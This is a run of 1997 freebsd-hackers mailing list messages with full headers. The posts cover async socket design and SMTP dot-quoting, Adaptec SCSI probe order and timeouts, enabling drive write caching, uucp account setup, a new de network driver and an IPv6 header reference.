Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I just made available a small IPv6 header quick reference that we made at NRL based on a figure that's been on our whiteboard for several years (that we dare not erase because it's proven just too valuable when writing code or debugging random problems). It contains a list in proper order of all of the currently defined IPv6 optional headers and the common upper-layer protocols, each with hexadecimal and decimal listings of their protocol/next header value and their length. It also marks the border points for certain levels of processing (e.g., what a router looks at, what an intermediate node looks at). I hope that it will prove useful to others. The filename is "ipv6-headers-1.ps" and it's on the usual release plan. -Craig From owner-freebsd-hackers Wed May 28 09:58:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA21443 for hackers-outgoing; Wed, 28 May 1997 09:58:41 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id JAA21436 for ; Wed, 28 May 1997 09:58:37 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id JAA01864; Wed, 28 May 1997 09:54:01 -0700 From: Terry Lambert Message-Id: <199705281654.JAA01864@phaeton.artisoft.com> Subject: Re: async socket stuff To: cmsedore@mailbox.syr.edu (Christopher Sedore) Date: Wed, 28 May 1997 09:54:01 -0700 (MST) Cc: terry@lambert.org, black@zen.cypher.net, rssh@cki.ipri.kiev.ua, FreeBSD-Hackers@FreeBSD.ORG In-Reply-To: from "Christopher Sedore" at May 27, 97 11:41:54 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > It's not generally useful, either. For instance, for POP3 and SMTP > > mail processing, "." quoting must take place. You have to adulterate > > the RFC's and *store* the data quoted (assuming that it will be going > > out on the same type of, or similar, transport it came in on) if you > > wish to use this facility for, for instance, POP3 lookup or SMTP > > forwarding. > > I was not aware that the RFC's required you to store the data in any > particular format on the hosts. I believe you are free to store it any > way you choose: quoted, not quoted, encrypted, rot13'd, XORed, compressed, > etc. See RFC 821 section "4.5.2. TRANSPARENCY". Quoting is required to take place on entering the transport, and unquoting is required to take place when leaving the transport. This is why I specifically referenced an operation involved with getting on and off the transport. Sure, you can store the data quoted, but you have to do it outside the transport data stream; the endpoint for the transport data stream is clearly (and rigidly) defined. I suppose you could use TransmitFile() on a socket with a line discipline that understood quoting and dequoting; but then we are putting even more crap in the kernel. > The real problem is with the protocol, not the transfer facilitiy. Any > transmission facility that requires in-band quoting will never be > high performance. If you want a fast POP server, store the messages in > transmission format. Same for SMTP. If you have to gateway, then > convert them on input and store them for relay. Technically, then, the data would be enqueued on the transport. So if you do an SMTP RCPT TO:, and then a POP RETR #, that would work. But say your RFC 821 MTA is capable of other things. Like storing in a mailbox not accessed via POP. This would require either a front end for all mail programs (elm, pine, mh, exmh, etc.) to do the unquoting from the potentially-POP-accessed mailbox. Routing to mailing lists and programs and transports that do not do quoting is even more problematic; consider an ISP with a CC:mail or MAPI gateway on an ISP box. > That this makes more sense in some cases than others I'll readily admit. > I still believe that this is primarily a protocol weakness, though. It's as much of a protocol weakness as protocols which require content transfer encoding on bit-stuffing as it is on protocols requiring byte stuffing. This pretty much covers all instances of in-band encapsulation which exist. 8-). > If you want to start talking about places for redesign, let's start with > the protocols--they're the main source of the problem. Transmitfile-like > APIs would be very general solutions if the protocols had been designed > for high-performance transfer in the first place. You would still need to encapsulate the file with a length-encoding header. Part of the problem with this is that some platforms are evilly unlike UNIX: the use instead of for EOL marking, like God intended. This is a function of CICS terminal drivers, among other things, and means that line encapsulation must take place in order to transport the data. This throws off the encapsulation size. Do you store the mail file as or terminated? Or do you store it as terminated, ala Macintosh? I think byte-stuffing protocols are perfectly reasonable; the cannonically correct place to deal with this is in the line discipline (heh -- in the cannonical processing code). We do it for HDLC, we might as well do it for this. Note that telnet, rlogin, rsh, exec, finger, and about any other inter-platform capable protocol does line cannonization, so you aren't going to escape the problem that easily. Regards, Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Wed May 28 09:58:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA21468 for hackers-outgoing; Wed, 28 May 1997 09:58:49 -0700 (PDT) Received: from lhab-gw.soroscj.ro (root@lhab-gw.soroscj.ro [193.226.99.135]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA21454 for ; Wed, 28 May 1997 09:58:42 -0700 (PDT) Received: from lhab.soroscj.ro (root@lhab.soroscj.ro [193.226.99.146]) by lhab-gw.soroscj.ro (8.7.5/8.6.9) with SMTP id TAA05231 for ; Wed, 28 May 1997 19:13:41 +0300 Received: from localhost (kojak@localhost) by lhab.soroscj.ro (8.6.12/8.6.12) with SMTP id TAA19864 for ; Wed, 28 May 1997 19:26:08 +0200 Date: Wed, 28 May 1997 19:26:08 +0200 (GMT+0200) From: elev Ilea Alexandru To: hackers@freebsd.org Subject: help Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Does anyone know how to read or write to the extended memory (any block I want)? From owner-freebsd-hackers Wed May 28 10:18:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA22325 for hackers-outgoing; Wed, 28 May 1997 10:18:36 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id KAA22320 for ; Wed, 28 May 1997 10:18:34 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id KAA01908; Wed, 28 May 1997 10:15:50 -0700 From: Terry Lambert Message-Id: <199705281715.KAA01908@phaeton.artisoft.com> Subject: Re: async socket stuff To: cmsedore@mailbox.syr.edu (Christopher Sedore) Date: Wed, 28 May 1997 10:15:50 -0700 (MST) Cc: black@zen.cypher.net, rssh@cki.ipri.kiev.ua, FreeBSD-Hackers@FreeBSD.ORG In-Reply-To: from "Christopher Sedore" at May 28, 97 10:32:32 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > 2) it is not a complete lagnuage interpreter, it is simply a compact > > system for dynamically adding system call to the kernel by aggregating > > existing system calls. contrast this with your approach which requires > > adding special purpose code to the kernel for EVERY "common" sequence of > > syscalls. > > I understood this, but its case is not made by the docs I read. It looks > like a nice thing, but I'd like to see more discussion and an > implementation before I support it generally. Actually, you shouldn't need a system call for this. Plus it sounds like streams! 8-). > My point was that the only thread packages available now (corrections > welcome) just use non-blocking I/O and select() to simulate threads in > userland. There is a kernel threading package which was contributed, but never integrated, actually. Personally, I dislike kernel threading because of the quantum ownership problems it introuces, and the N:M mapping problems for user space to kernel thread mapping for N>M. Not to mention CPU affinity and cache issues. My own reasoning for an async call gate is that user space threading is all of one general model: trade a blocking call for a non-blocking call plus a thread context switch. This has been done over and over; the best reference I have is the paper "User Space Threading and Register Windows on SPARC", a paper out of the University of Washington, and the basis of the SunOS 4.x LWP user space threading library (liblwp). The problem with call conversion is that it's generally implemented on aioread/aiowrite/aiowait/aiocancel. The problem with this is, as the original poster was trying to work around, the only supported operations which may be converted are read and write (and a reschedulable one-shot timer using aiowait, and assuming that non-timeout code takes 0 time to execute). A general async call gate mechanism works around this problem, and given flags on the sysent entries, is extrememly low code overhead to implement. > Time. I probably could implement transmitfile for FreeBSD in a few weeks > with everything else I have on my plate. I could not reengineer FreeBSD's > I/O system in 10x that timeframe. A kernel call context LRU would be relatively easy. It would require divorcing the kernel stack from the user process. This is something that the SMP people need anyway to implement scheduler affinity and something the realtime people need for kernel preeemption. So it's a general win in any case. > > a small syscall aggregator in the kernel would take up perhaps 5-10k and > > provide limitless applications. your solution solves a single current > > problem and totally ignores the rest of the world. > > No disagreement here. I'd be happy to see your solution implemented, and > I'd use it if it provided benefit to me. I find the idea fascinating; but I'm worried about misuse. I'd like to see restricted VM's for user space kernel code as a more general soloution which would enforce write faulting in a protected mode VM; otherwise there are all of the bad address issues of copyin/copyout and all of the race windows of the preverification done in Linux, which does not verify that the user address space has not changed prior to copying data out (an admittedly small window, but a window nonetheless). It is unfortunate that in that direstion lies MACH (madness 8-)). > Maybe so, but I don't see how it negatively affects them in any serious > way. I do see how it can offer significant benefits to people running > web/ftp/news servers where FreeBSD is trying to gain usage. > > My main point is that it cannot be implemented outside the kernel with > what I would consider to be reasonable efficiency. If the async I/O stuff > eliminates the buffer copies then some portion of my argument becomes > moot. Even then I might still argue for its existence. I think readv/writev might be the answer, without mmap(), but it's rather scary to contemplate. The agregator is *almost* enough to enable me to provide a "." quoting line discipline, which is a good thing... but there are still trust issues unless there is zone enforcement (ala NetWare NLM's or MACH... brrrrr). Regards, Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Wed May 28 10:21:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA22510 for hackers-outgoing; Wed, 28 May 1997 10:21:07 -0700 (PDT) Received: from lsd.relcom.eu.net (lsd.relcom.eu.net [193.124.23.23]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA22476 for ; Wed, 28 May 1997 10:20:12 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by lsd.relcom.eu.net (8.8.5/8.8.5) with SMTP id VAA25555; Wed, 28 May 1997 21:19:31 +0400 (MSD) Date: Wed, 28 May 1997 21:19:30 +0400 (MSD) From: =?KOI8-R?B?4c7E0sXKIP7F0s7P1w==?= X-Sender: ache@lsd.relcom.eu.net To: Alex Povolotsky cc: hackers@FreeBSD.ORG Subject: Re: 8 bit autoconvert In-Reply-To: <199705281536.TAA15471@asteroid.intermedia.ru> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, 28 May 1997, Alex Povolotsky wrote: > I've tried to stop sendmail from autoconverting 8-bit to Base64. I only was > able to disable BOTH 8-bit to MIME and MIME to 8-bit autoconvert, but I need > to have MIME to 8 bit. I can of course just hack sendmail source, but I > dislike that. See 'Sendmail 8.* tuning' section at my http://www.nagual.pp.ru/~ache/koi8.html page for answer. -- Andrey A. Chernov http://www.nagual.pp.ru/~ache/ From owner-freebsd-hackers Wed May 28 12:54:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA28916 for hackers-outgoing; Wed, 28 May 1997 12:54:39 -0700 (PDT) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA28908; Wed, 28 May 1997 12:54:29 -0700 (PDT) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by mail.cdsnet.net (8.8.5/8.7.3) with SMTP id MAA23810; Wed, 28 May 1997 12:54:28 -0700 (PDT) Date: Wed, 28 May 1997 12:54:26 -0700 (PDT) From: Jaye Mathisen To: scsi@freebsd.org, hackers@freebsd.org Subject: Boot problems/sd1/I'm sorry, I think ahc is acting funky. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I posted this a few days ago, but now it's really biting me in the butt, and I'd like to see if it's fixable before I throw out the baby and the bathwater. I have a box with a 3940UW and 2940AU. In the BIOS scan of the PCI bus, it finds the 3940 first, then the 2940. Swapping cards in the PCI slots confirms this order. *however*, when FreeBSD boots, it *always* finds the 2940 first, and assigns it as ahc0, and the 3940 as ahc1 and ahc2. This is broke I think. This is problematic, as when booting (since I have a JAZ drive on the 2940), It assigns sd0 to the JAZ, *and* makes me type: 0:sd(1,a)/kernel to the boot blocks to boot each time, which is a major drag. This behaviour seems specific to FreeBSD, as other OS's find them in the same order as the BIOS scan. IS this easily fixable? From owner-freebsd-hackers Wed May 28 13:11:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA29871 for hackers-outgoing; Wed, 28 May 1997 13:11:43 -0700 (PDT) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA29865; Wed, 28 May 1997 13:11:40 -0700 (PDT) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by mail.cdsnet.net (8.8.5/8.7.3) with SMTP id NAA26168; Wed, 28 May 1997 13:11:39 -0700 (PDT) Date: Wed, 28 May 1997 13:11:39 -0700 (PDT) From: Jaye Mathisen To: scsi@freebsd.org, hackers@freebsd.org Subject: More ahc0 driver problems. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk # uname -a FreeBSD yyy.cdsnet.net 2.2.2-RELEASE FreeBSD 2.2.2-RELEASE #0: Fri May 26 22:27:17 PDT 1995 root@yyy.cdsnet.net:/usr/src/sys/compile/SCHIZO2 i386 Under bonnie to a ccd of sd2, sd3 (WD 4.1GB Enterprise drives): # bonnie -s 1000 File './Bonnie.333', size: 1048576000 Writing with putc()...May 28 13:08:12 yyy /kernel: sd4(ahc2:1:0): SCB 0x2 - timed out while idle, LASTPHASE == 0x1, SCSISIGI == 0xe6 May 28 13:08:12 yyy /kernel: sd4(ahc2:1:0): SCB 0x2 - timed out while idle, LASTPHASE == 0x1, SCSISIGI == 0xe6 May 28 13:08:12 yyy /kernel: SEQADDR = 0x4 SCSISEQ = 0x12 SSTAT0 = 0x27 SSTAT1 = 0xb May 28 13:08:12 yyy /kernel: SEQADDR = 0x4 SCSISEQ = 0x12 SSTAT0 = 0x27 SSTAT1 = 0xb May 28 13:08:12 yyy /kernel: Ordered Tag queued May 28 13:08:12 yyy /kernel: Ordered Tag queued May 28 13:08:12 yyy /kernel: Ordered Tag sent May 28 13:08:12 yyy /kernel: Ordered Tag sent May 28 13:08:12 yyy /kernel: sd4(ahc2:1:0): no longer in timeout May 28 13:08:12 yyy /kernel: sd4(ahc2:1:0): no longer in timeout May 28 13:08:22 yyy /kernel: sd4(ahc2:1:0): SCB 0x3 - timed out while idle, LASTPHASE == 0x1, SCSISIGI == 0xe6 May 28 13:08:22 yyy /kernel: sd4(ahc2:1:0): SCB 0x3 - timed out while idle, LAST Reams and reams of them. WHen it gets to the rewriting phase, it quiets down. How do I turn on write caching in my drive? I assume I have to edit some mode page, but heck if I know which one. From owner-freebsd-hackers Wed May 28 14:00:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA02644 for hackers-outgoing; Wed, 28 May 1997 14:00:08 -0700 (PDT) Received: from seagull.rtd.com (seagull.rtd.com [198.102.68.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA02638 for ; Wed, 28 May 1997 14:00:05 -0700 (PDT) Received: (from dgy@localhost) by seagull.rtd.com (8.7.5/8.7.3) id OAA04001 for freebsd-hackers@freefall.cdrom.com; Wed, 28 May 1997 14:00:00 -0700 (MST) From: Don Yuniskis Message-Id: <199705282100.OAA04001@seagull.rtd.com> Subject: uucp uid's To: freebsd-hackers@freefall.FreeBSD.org (FreeBSD hackers) Date: Wed, 28 May 1997 14:00:00 -0700 (MST) X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Greetings! A bit of confusion on my part, perhaps... Shouldn't the uucp uid be that of the uucp *administrator*? (i.e. the owner of the uucp files, processes, etc.). And, shouldn't *other& id's be created to actually *service* uucp connections (e.g., nuucp, xuucp, Ufoo, Ubar, etc.)? As such, uucp's $HOME should be /etc/uucp and have a regular shell -- while these other users (nuucp, etc.) would have /var/spool/uucppublic (should that be /var/spool/uucp instead?) and uucico, respectively, as their $HOME and shell? Thanx! --don From owner-freebsd-hackers Wed May 28 14:09:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA03109 for hackers-outgoing; Wed, 28 May 1997 14:09:43 -0700 (PDT) Received: from Sisyphos.MI.Uni-Koeln.DE (Sisyphos.MI.Uni-Koeln.DE [134.95.212.10]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id OAA03094; Wed, 28 May 1997 14:09:33 -0700 (PDT) Received: from x14.mi.uni-koeln.de (annexr2-45.slip.Uni-Koeln.DE) by Sisyphos.MI.Uni-Koeln.DE with SMTP id AA16525 (5.67b/IDA-1.5); Wed, 28 May 1997 23:09:30 +0200 Received: (from se@localhost) by x14.mi.uni-koeln.de (8.8.5/8.6.9) id XAA11010; Wed, 28 May 1997 23:09:25 +0200 (CEST) X-Face: " Date: Wed, 28 May 1997 23:09:24 +0200 From: Stefan Esser To: Jaye Mathisen Cc: scsi@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: Boot problems/sd1/I'm sorry, I think ahc is acting funky. References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.74 In-Reply-To: ; from Jaye Mathisen on Wed, May 28, 1997 at 12:54:26PM -0700 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On May 28, Jaye Mathisen wrote: > > I posted this a few days ago, but now it's really biting me in the butt, > and I'd like to see if it's fixable before I throw out the baby and the > bathwater. Well, yes, there might be a way if you are running -current ... > I have a box with a 3940UW and 2940AU. In the BIOS scan of the PCI bus, > it finds the 3940 first, then the 2940. Swapping cards in the PCI slots > confirms this order. This is a very bogus scan order, except if you requested it in some BIOS setup! PCI bus 0 is always scanned first (with different motherboards using either ascending or descending slot number order). Only after bus 0 is completed, the scan descends down to devices behind PCI to PCI bridges. This order is REQUIRED for all buses > bus 0 (because of the active address decode principle in PCI), but it obviously does not make much sense to have a different probe order for buses directly connected to bus 0 and buses that are themselves connected through a bridge. > *however*, when FreeBSD boots, it *always* finds the 2940 first, and > assigns it as ahc0, and the 3940 as ahc1 and ahc2. This is broke I think. No. Not at all! And there would be MANY more complaints, if I changeed the probe order in the way you suggest! > This is problematic, as when booting (since I have a JAZ drive on the > 2940), It assigns sd0 to the JAZ, *and* makes me type: > > 0:sd(1,a)/kernel > > to the boot blocks to boot each time, which is a major drag. You know about the boot.config file ? (Again assuming you got a reasonably recent kernel). > This behaviour seems specific to FreeBSD, as other OS's find them in the > same order as the BIOS scan. Hmmm, well, I could use the PCI BIOS to scan by supported PCI device ID, instead of by bus topology, but this introduces other problems which I'd prefer to avoid. > IS this easily fixable? There IS nothing to fix, actually ... Either put a reasonable boot command line into /boot.config, or locate the definion of "pci_wireddevs" in /sys/pci/pci_compat.c and add a line reading: { "ahc", 2, 0, SLOT, 0, 0 }, with the SLOT number of the 2940 filled in. (You didn't send the verbose boot message log I need to give more detailed instructions.) You can also remove the other lines (except the last), since they are only left overs from tests I performed before commiting that code ... Let me know if neither approach works for you. Regards, STefan From owner-freebsd-hackers Wed May 28 14:23:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA03743 for hackers-outgoing; Wed, 28 May 1997 14:23:35 -0700 (PDT) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA03736; Wed, 28 May 1997 14:23:32 -0700 (PDT) Received: (from root@localhost) by dyson.iquest.net (8.8.5/8.8.5) id QAA14153; Wed, 28 May 1997 16:23:19 -0500 (EST) From: "John S. Dyson" Message-Id: <199705282123.QAA14153@dyson.iquest.net> Subject: Re: More ahc0 driver problems. In-Reply-To: from Jaye Mathisen at "May 28, 97 01:11:39 pm" To: mrcpu@cdsnet.net (Jaye Mathisen) Date: Wed, 28 May 1997 16:23:19 -0500 (EST) Cc: scsi@FreeBSD.ORG, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > How do I turn on write caching in my drive? I assume I have to edit some > mode page, but heck if I know which one. > scsi -f /dev/rsdX.ctl -m 8 -e The flag that you want to set is WCE. John From owner-freebsd-hackers Wed May 28 14:27:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA03978 for hackers-outgoing; Wed, 28 May 1997 14:27:46 -0700 (PDT) Received: from darius.concentric.net (darius.concentric.net [207.155.184.79]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA03951; Wed, 28 May 1997 14:27:37 -0700 (PDT) Received: from mcfeely.concentric.net (mcfeely.concentric.net [207.155.184.83]) by darius.concentric.net (8.8.5/(97/05/21 3.30)) id RAA23872; Wed, 28 May 1997 17:27:34 -0400 (EDT) [1-800-745-2747 The Concentric Network] Received: from athena (ts001d01.sal-ut.concentric.net [206.173.156.13]) by mcfeely.concentric.net (8.8.5) id RAA14523; Wed, 28 May 1997 17:27:31 -0400 (EDT) Message-ID: <338CA310.1E013B5B@concentric.net> Date: Wed, 28 May 1997 15:26:40 -0600 From: Joshua Fielden Organization: Shaggy Enterprises X-Mailer: Mozilla 4.0b5 [en] (WinNT; I) MIME-Version: 1.0 To: Jaye Mathisen CC: scsi@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: More ahc0 driver problems. X-Priority: 3 (Normal) References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Jaye Mathisen wrote: > How do I turn on write caching in my drive? I assume I have to edit some > mode page, but heck if I know which one. Write-Cache enabled, (WCE) is in mode page 8. I forget the hex of the page off-hand..... JF From owner-freebsd-hackers Wed May 28 14:53:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA05460 for hackers-outgoing; Wed, 28 May 1997 14:53:09 -0700 (PDT) Received: from kalypso.iqm.unicamp.br (kalypso.iqm.unicamp.br [143.106.13.10]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA05455 for ; Wed, 28 May 1997 14:53:05 -0700 (PDT) Received: (from vazquez@localhost) by kalypso.iqm.unicamp.br (8.8.6.Beta3/8.7.3/FreeBSD/2.1.5) id SAA23266; Wed, 28 May 1997 18:53:34 -0300 (EST) From: Pedro A M Vazquez Message-Id: <199705282153.SAA23266@kalypso.iqm.unicamp.br> Subject: Re: New de driver To: matt@3am-software.com, hackers@freebsd.org Date: Wed, 28 May 1997 18:53:34 -0300 (EST) X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hello Just reporting, the de-970513.tar.gz works with the Compex card, ENET100TX-PCI, with a 211400AC. It fails the autodetection when connected to a 100M hub but works fine with link to specify the speed. Thanks! Pedro > Date: Fri, 09 May 1997 20:08:40 -0400 > From: Matt Thomas > At 01:27 PM 5/8/97 -0400, Matt Thomas wrote: > >http://www.3am-software.com/ contains a pointer to a gzipped tar file > >which contain a new de driver that runs on 2.2-RELENG. It does not > >require ifmedia support (but it will use it if it's there). > From owner-freebsd-hackers Wed May 28 15:23:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA07265 for hackers-outgoing; Wed, 28 May 1997 15:23:49 -0700 (PDT) Received: from ingenieria ([168.176.15.11]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id PAA07257 for ; Wed, 28 May 1997 15:23:44 -0700 (PDT) Received: by ingenieria (SMI-8.6/SMI-SVR4) id RAA18494; Wed, 28 May 1997 17:54:43 -0400 Date: Wed, 28 May 1997 17:54:43 -0400 (EDT) From: Yonny Cardenas To: Joerg Wunsch cc: hackers@FreeBSD.ORG Subject: Re: Controler for SCSI In-Reply-To: <19970523084650.UL21423@uriah.heep.sax.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > As Yonny Cardenas wrote: > > > I have a box AcerPro P100 with a controler SCSI of Future Domain > > 18C30/18C50 and Disk SCSI Quantum Fireball 1080S.There are drivers > > for FreeBSD or Linux ? > > On the way. The 18C30 is the PCI version, right? (Now sold as > AHA-2920.) > > I can perhaps make you a bootfloppy, but it will take some time. I am greetings you.I like obtain that bootfloppy never mind time. thanks. From owner-freebsd-hackers Wed May 28 15:32:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA07840 for hackers-outgoing; Wed, 28 May 1997 15:32:12 -0700 (PDT) Received: from pluto.plutotech.com (root@pluto100.plutotech.com [206.168.67.137]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA07831; Wed, 28 May 1997 15:32:09 -0700 (PDT) Received: from narnia.plutotech.com (narnia.plutotech.com [206.168.67.130]) by pluto.plutotech.com (8.8.5/8.8.5) with ESMTP id QAA02632; Wed, 28 May 1997 16:31:59 -0600 (MDT) Message-Id: <199705282231.QAA02632@pluto.plutotech.com> X-Mailer: exmh version 2.0beta 12/23/96 To: Jaye Mathisen cc: scsi@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: Boot problems/sd1/I'm sorry, I think ahc is acting funky. In-reply-to: Your message of "Wed, 28 May 1997 12:54:26 PDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 28 May 1997 17:29:23 -0600 From: "Justin T. Gibbs" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > >IS this easily fixable? > Hardwire your scsi busses. See scsi.4 for details. -- Justin T. Gibbs =========================================== FreeBSD: Turning PCs into workstations =========================================== From owner-freebsd-hackers Wed May 28 15:40:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA08454 for hackers-outgoing; Wed, 28 May 1997 15:40:14 -0700 (PDT) Received: from pluto.plutotech.com (root@pluto100.plutotech.com [206.168.67.137]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA08447; Wed, 28 May 1997 15:40:07 -0700 (PDT) Received: from narnia.plutotech.com (narnia.plutotech.com [206.168.67.130]) by pluto.plutotech.com (8.8.5/8.8.5) with ESMTP id QAA02847; Wed, 28 May 1997 16:40:04 -0600 (MDT) Message-Id: <199705282240.QAA02847@pluto.plutotech.com> X-Mailer: exmh version 2.0beta 12/23/96 To: Jaye Mathisen cc: scsi@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: More ahc0 driver problems. In-reply-to: Your message of "Wed, 28 May 1997 13:11:39 PDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 28 May 1997 17:37:28 -0600 From: "Justin T. Gibbs" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Under bonnie to a ccd of sd2, sd3 (WD 4.1GB Enterprise drives): ... >Reams and reams of them. WHen it gets to the rewriting phase, it quiets >down. This problem has been mentioned many times before on this list. You are doing sufficient I/O local to one area of the drives that the drive is "starving" transactions that would require a long seek to complete for as long as 10 second. That's the reason the ordered tagged transaction (which basically means complete everything else before you run me) clears up the condition. Some changes coming down the line that turn synchronous writes into async, ordered writes will help to mitigate this problem as there will be an occasional ordered tagged transaction in the stream being sent to the driver. Of course, if you mount your filesystem async, this wouldn't happen. The Linux Buslogic driver works around this problem by simply sending an ordered tag "every once in a while". I don't really like that solution much. >How do I turn on write caching in my drive? I assume I have to edit some >mode page, but heck if I know which one. man 8 scsi. You should also look at /usr/share/misc/scsi_modes. -- Justin T. Gibbs =========================================== FreeBSD: Turning PCs into workstations =========================================== From owner-freebsd-hackers Wed May 28 15:51:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA09130 for hackers-outgoing; Wed, 28 May 1997 15:51:54 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id PAA09124 for ; Wed, 28 May 1997 15:51:51 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id AAA00841; Thu, 29 May 1997 00:51:19 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id AAA00369; Thu, 29 May 1997 00:50:28 +0200 (MET DST) Message-ID: <19970529005028.IU14366@uriah.heep.sax.de> Date: Thu, 29 May 1997 00:50:28 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Cc: kojak@lhab.soroscj.ro (elev Ilea Alexandru) Subject: Re: help References: X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from elev Ilea Alexandru on May 28, 1997 19:26:08 +0200 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As elev Ilea Alexandru wrote: > Does anyone know how to read or write to the extended memory (any block I > want)? No such thing like extended memory in Unix. We've got a flat addressing model. -- cheers, J"org 